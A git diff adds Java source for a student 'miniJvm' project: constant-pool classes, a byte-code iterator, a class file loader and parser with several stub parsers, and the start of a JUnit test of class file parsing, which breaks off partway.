+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..44ddf169f2
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHODREF_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..7eae6e4ec1
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAMEANDTYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/StringInfo.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/constant/UTF8Info.java b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7e80c58a86
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+
+	private int type = UTF8_INFO;
+	private int length ;
+	private String value;
+
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..99a6c22608
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+    byte[] codes;
+    int pos = 0;
+
+    ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+    }
+
+
+
+    public byte[] getBytes(int len) {
+        if (pos + len >= codes.length) {
+            throw new ArrayIndexOutOfBoundsException();
+        }
+
+        byte[] data = new byte[len];
+        System.arraycopy(codes, pos, data, 0, len);
+        pos += len;
+        return data;
+    }
+
+    public int nextU1toInt() {
+
+        return Util.byteToInt(new byte[] { codes[pos++] });
+    }
+
+    public int nextU2ToInt() {
+        return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+    }
+
+    public int nextU4ToInt() {
+        return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+    }
+
+    public String nextU4ToHexString() {
+        return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+    }
+
+    public String nextUxToHexString(int len) {
+        byte[] tmp = new byte[len];
+
+        for (int i = 0; i < len; i++) {
+            tmp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(tmp).toLowerCase();
+
+    }
+
+    public void back(int n) {
+        this.pos -= n;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..049fbb3cde
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,88 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.clz.ClassFile;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	public byte[] readBinaryCode(String className) {
+
+		className = className.replace('.', File.separatorChar) +".class";
+
+		for(String path : clzPaths){
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}
+		}
+
+		return null;
+	}
+
+	public void addClassPath(String path) {
+		if(clzPaths.contains(path)){
+			return;
+		}
+		clzPaths.add(path);
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+	}
+
+	public String getClassPath(){
+
+		StringBuffer buffer = new StringBuffer();
+
+		for(int i = 0;i < clzPaths.size(); i++){
+			buffer.append(clzPaths.get(i));
+			if(i < clzPaths.size() - 1){
+				buffer.append(";");
+			}
+		}
+
+		return buffer.toString();
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+
+		BufferedInputStream bis = null;
+		try {
+			File f = new File(clzFileName);
+			bis = new BufferedInputStream(new FileInputStream(f));
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+			byte[] buffer = new byte[1024];
+			int length = -1;
+
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);
+			}
+			byte [] codes = bos.toByteArray();
+			return codes;
+
+		} catch(IOException e){
+			e.printStackTrace();
+
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+
+	}
+
+}
\ No newline at end of file
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..4b8dbf180d
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,106 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.parser.*;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ClassFileParser {
+
+	private static final Map<Integer, ConstantInfoParser> constantPoolParserMap = new HashMap<Integer, ConstantInfoParser>();
+	static {
+		constantPoolParserMap.put(ConstantInfo.UTF8_INFO, new UTF8InfoParser());
+//		constantPoolParserMap.put(ConstantInfo.INTEGER_INFO, new IntegerInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.FLOAT_INFO, new FloatInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.LONG_INFO, new LongInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.DOUBLE_INFO, new DoubleInfoParser());
+		constantPoolParserMap.put(ConstantInfo.CLASS_INFO, new ClassInfoParser());
+		constantPoolParserMap.put(ConstantInfo.STRING_INFO, new StringInfoParser());
+		constantPoolParserMap.put(ConstantInfo.FIELDREF_INFO, new FieldRefInfoParser());
+		constantPoolParserMap.put(ConstantInfo.METHODREF_INFO, new MethodRefInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.INTERFACE_METHODREF_INFO, new InterfaceMethodrefInfoParser());
+		constantPoolParserMap.put(ConstantInfo.NAMEANDTYPE_INFO, new NameAndTypeInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.METHODHANDLE_INFO, new MethodHandleInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.METHODTYPE_INFO, new MethodTypeInfoParser());
+//		constantPoolParserMap.put(ConstantInfo.INVOKEDYNAMIC_INFO, new InvokeDynamicInfoParser());
+	}
+
+	public ClassFile parse(byte[] codes) {
+
+		ByteCodeIterator iterator = new ByteCodeIterator(codes);
+
+		String magicNum = iterator.nextU4ToHexString();
+		if (!"cafebabe".equals(magicNum)){
+			return null;
+		}
+
+		ClassFile clzFile = new ClassFile();
+
+		clzFile.setMinorVersion(iterator.nextU2ToInt());
+		clzFile.setMajorVersion(iterator.nextU2ToInt());
+		clzFile.setConstPool(parseConstantPool(iterator));
+		clzFile.setAccessFlag(parseAccessFlag(iterator));
+		clzFile.setClassIndex(parseClassInfex(iterator));
+
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return new AccessFlag(iter.nextU2ToInt());
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(iter.nextU2ToInt());
+		classIndex.setSuperClassIndex(iter.nextU2ToInt());
+
+		return classIndex;
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		int constantPoolCount = iter.nextU2ToInt();
+
+		ConstantPool constantPool = new ConstantPool();
+		constantPool.addConstantInfo(new NullConstantInfo());
+
+		for (int i = 1; i < constantPoolCount; i++) {
+
+			int tag = iter.nextU1toInt();
+			ConstantInfoParser parser = constantPoolParserMap.get(tag);
+			if (parser == null){
+				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+			}
+			constantPool.addConstantInfo(parser.parser(constantPool, iter));
+		}
+
+		return constantPool;
+	}
+
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+
+	}
+
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/ClassInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/ClassInfoParser.java
new file mode 100644
index 0000000000..bed605c354
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/ClassInfoParser.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class ClassInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+
+        ClassInfo classInfo = new ClassInfo(constantPool);
+        int index = iterator.nextU2ToInt();
+        classInfo.setUtf8Index(index);
+
+        return classInfo;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/ConstantInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/ConstantInfoParser.java
new file mode 100644
index 0000000000..f437a54a4a
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/ConstantInfoParser.java
@@ -0,0 +1,14 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public abstract class ConstantInfoParser {
+
+    public abstract ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator);
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/DoubleInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/DoubleInfoParser.java
new file mode 100644
index 0000000000..6563e68861
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/DoubleInfoParser.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class DoubleInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/FieldRefInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/FieldRefInfoParser.java
new file mode 100644
index 0000000000..316e0fcd4d
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/FieldRefInfoParser.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class FieldRefInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+
+        FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
+        fieldRefInfo.setClassInfoIndex(iterator.nextU2ToInt());
+        fieldRefInfo.setNameAndTypeIndex(iterator.nextU2ToInt());
+
+        return fieldRefInfo;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/FloatInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/FloatInfoParser.java
new file mode 100644
index 0000000000..6162eb798f
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/FloatInfoParser.java
@@ -0,0 +1,16 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class FloatInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/IntegerInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/IntegerInfoParser.java
new file mode 100644
index 0000000000..a97a0fa9a4
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/IntegerInfoParser.java
@@ -0,0 +1,16 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class IntegerInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/InterfaceMethodrefInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/InterfaceMethodrefInfoParser.java
new file mode 100644
index 0000000000..06f301cf9a
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/InterfaceMethodrefInfoParser.java
@@ -0,0 +1,16 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class InterfaceMethodrefInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/InvokeDynamicInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/InvokeDynamicInfoParser.java
new file mode 100644
index 0000000000..f008c4a9b7
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/InvokeDynamicInfoParser.java
@@ -0,0 +1,16 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class InvokeDynamicInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/LongInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/LongInfoParser.java
new file mode 100644
index 0000000000..000ff4e841
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/LongInfoParser.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class LongInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodHandleInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodHandleInfoParser.java
new file mode 100644
index 0000000000..679f2e52d9
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodHandleInfoParser.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class MethodHandleInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodRefInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodRefInfoParser.java
new file mode 100644
index 0000000000..5bfdb1364b
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodRefInfoParser.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class MethodRefInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+
+        MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
+        methodRefInfo.setClassInfoIndex(iterator.nextU2ToInt());
+        methodRefInfo.setNameAndTypeIndex(iterator.nextU2ToInt());
+
+        return methodRefInfo;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodTypeInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodTypeInfoParser.java
new file mode 100644
index 0000000000..c155ef8d5c
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/MethodTypeInfoParser.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class MethodTypeInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+        return null;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/NameAndTypeInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/NameAndTypeInfoParser.java
new file mode 100644
index 0000000000..6376966e68
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/NameAndTypeInfoParser.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class NameAndTypeInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+
+        NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
+        nameAndTypeInfo.setIndex1(iterator.nextU2ToInt());
+        nameAndTypeInfo.setIndex2(iterator.nextU2ToInt());
+
+        return nameAndTypeInfo;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/StringInfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/StringInfoParser.java
new file mode 100644
index 0000000000..6f576e83ef
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/StringInfoParser.java
@@ -0,0 +1,20 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class StringInfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+
+        StringInfo stringInfo = new StringInfo(constantPool);
+        stringInfo.setIndex(iterator.nextU2ToInt());
+
+        return stringInfo;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/parser/UTF8InfoParser.java b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/UTF8InfoParser.java
new file mode 100644
index 0000000000..566bab3ce6
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/parser/UTF8InfoParser.java
@@ -0,0 +1,34 @@
+package com.coderising.jvm.parser;
+
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.io.UnsupportedEncodingException;
+
+/**
+ *
+ * Created by songbao.yang on 2017/4/19.
+ */
+public class UTF8InfoParser extends ConstantInfoParser {
+
+    public ConstantInfo parser(ConstantPool constantPool, ByteCodeIterator iterator) {
+
+        int lenght = iterator.nextU2ToInt();
+        byte[] bytes = iterator.getBytes(lenght);
+
+        String value = null;
+        try {
+            value = new String(bytes, "UTF-8");
+        } catch (UnsupportedEncodingException e) {
+            e.printStackTrace();
+        }
+
+        UTF8Info utf8Info = new UTF8Info(constantPool);
+        utf8Info.setLength(lenght);
+        utf8Info.setValue(value);
+
+        return utf8Info;
+    }
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..2002d2dddd
--- /dev/null
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,181 @@
+package com.coderising.jvm.test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.*;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.util.Util;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\project\\Learn\\coding2017\\group05\\578505552\\miniJvm\\src";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = Util.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
